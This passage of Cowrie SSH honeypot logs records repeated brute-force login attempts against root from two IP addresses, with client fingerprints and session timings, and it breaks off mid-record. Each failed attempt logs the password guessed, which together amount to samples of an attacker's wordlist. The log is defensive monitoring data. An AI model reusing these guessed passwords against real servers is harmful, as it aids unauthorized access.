{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:13.715767Z","src_ip":"60.165.124.241","session":"a3b145992879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59580,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fcebd6af5e7","protocol":"ssh","message":"New connection: 60.165.124.241:59580 (10.17.0.5:22) [session: 1fcebd6af5e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:13.974598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:13.979566Z","src_ip":"60.165.124.241","session":"1fcebd6af5e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:14.241795Z","src_ip":"60.165.124.241","session":"1fcebd6af5e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Testing123!","message":"login attempt [root/Testing123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:15.017051Z","src_ip":"60.165.124.241","session":"1fcebd6af5e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:16.286267Z","src_ip":"60.165.124.241","session":"1fcebd6af5e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":34208,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab31bc305a9f","protocol":"ssh","message":"New connection: 60.165.124.241:34208 (10.17.0.5:22) [session: ab31bc305a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:16.510778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:16.515429Z","src_ip":"60.165.124.241","session":"ab31bc305a9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:16.753672Z","src_ip":"60.165.124.241","session":"ab31bc305a9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"immolation","message":"login attempt [root/immolation] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:17.501988Z","src_ip":"60.165.124.241","session":"ab31bc305a9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:18.758089Z","src_ip":"60.165.124.241","session":"ab31bc305a9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37432,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a5bcd25d8a6","protocol":"ssh","message":"New connection: 60.165.124.241:37432 (10.17.0.5:22) [session: 5a5bcd25d8a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:19.040930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:19.045810Z","src_ip":"60.165.124.241","session":"5a5bcd25d8a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:19.304026Z","src_ip":"60.165.124.241","session":"5a5bcd25d8a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lf123456","message":"login attempt [root/Lf123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:20.101284Z","src_ip":"60.165.124.241","session":"5a5bcd25d8a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:21.371396Z","src_ip":"60.165.124.241","session":"5a5bcd25d8a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40464,"dst_ip":"10.17.0.5","dst_port":22,"session":"db0fc013d57e","protocol":"ssh","message":"New connection: 60.165.124.241:40464 (10.17.0.5:22) [session: db0fc013d57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:21.617563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:21.622449Z","src_ip":"60.165.124.241","session":"db0fc013d57e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:21.867851Z","src_ip":"60.165.124.241","session":"db0fc013d57e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Joysuch@Locate2020!","message":"login attempt [root/Joysuch@Locate2020!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:22.636106Z","src_ip":"60.165.124.241","session":"db0fc013d57e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:23.884449Z","src_ip":"60.165.124.241","session":"db0fc013d57e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":46574,"dst_ip":"10.17.0.5","dst_port":22,"session":"4398d9f6bf3e","protocol":"ssh","message":"New connection: 194.59.206.2:46574 (10.17.0.5:22) [session: 4398d9f6bf3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:24.013519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:24.020265Z","src_ip":"194.59.206.2","session":"4398d9f6bf3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:24.109618Z","src_ip":"194.59.206.2","session":"4398d9f6bf3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43504,"dst_ip":"10.17.0.5","dst_port":22,"session":"67a71aa1810a","protocol":"ssh","message":"New connection: 60.165.124.241:43504 (10.17.0.5:22) [session: 67a71aa1810a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:24.118205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:24.123393Z","src_ip":"60.165.124.241","session":"67a71aa1810a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:24.201435Z","src_ip":"194.59.206.2","session":"4398d9f6bf3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:24.363262Z","src_ip":"60.165.124.241","session":"67a71aa1810a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin888!","message":"login attempt [root/Admin888!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:25.090898Z","src_ip":"60.165.124.241","session":"67a71aa1810a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:26.333225Z","src_ip":"60.165.124.241","session":"67a71aa1810a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46562,"dst_ip":"10.17.0.5","dst_port":22,"session":"37925b4c4d2a","protocol":"ssh","message":"New connection: 60.165.124.241:46562 (10.17.0.5:22) [session: 37925b4c4d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:26.562099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:26.565966Z","src_ip":"60.165.124.241","session":"37925b4c4d2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:26.801843Z","src_ip":"60.165.124.241","session":"37925b4c4d2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mima1234","message":"login attempt [root/Mima1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:27.517301Z","src_ip":"60.165.124.241","session":"37925b4c4d2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:28.762921Z","src_ip":"60.165.124.241","session":"37925b4c4d2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49232,"dst_ip":"10.17.0.5","dst_port":22,"session":"897f92de8051","protocol":"ssh","message":"New connection: 60.165.124.241:49232 (10.17.0.5:22) [session: 897f92de8051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:29.000500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:29.005953Z","src_ip":"60.165.124.241","session":"897f92de8051","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:29.244953Z","src_ip":"60.165.124.241","session":"897f92de8051","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Redhat@2024","message":"login attempt [root/Redhat@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:29.978741Z","src_ip":"60.165.124.241","session":"897f92de8051","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:31.220873Z","src_ip":"60.165.124.241","session":"897f92de8051","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52322,"dst_ip":"10.17.0.5","dst_port":22,"session":"d398f7b76635","protocol":"ssh","message":"New connection: 60.165.124.241:52322 (10.17.0.5:22) [session: d398f7b76635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:31.454794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:13:31.459571Z","src_ip":"60.165.124.241","session":"d398f7b76635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gc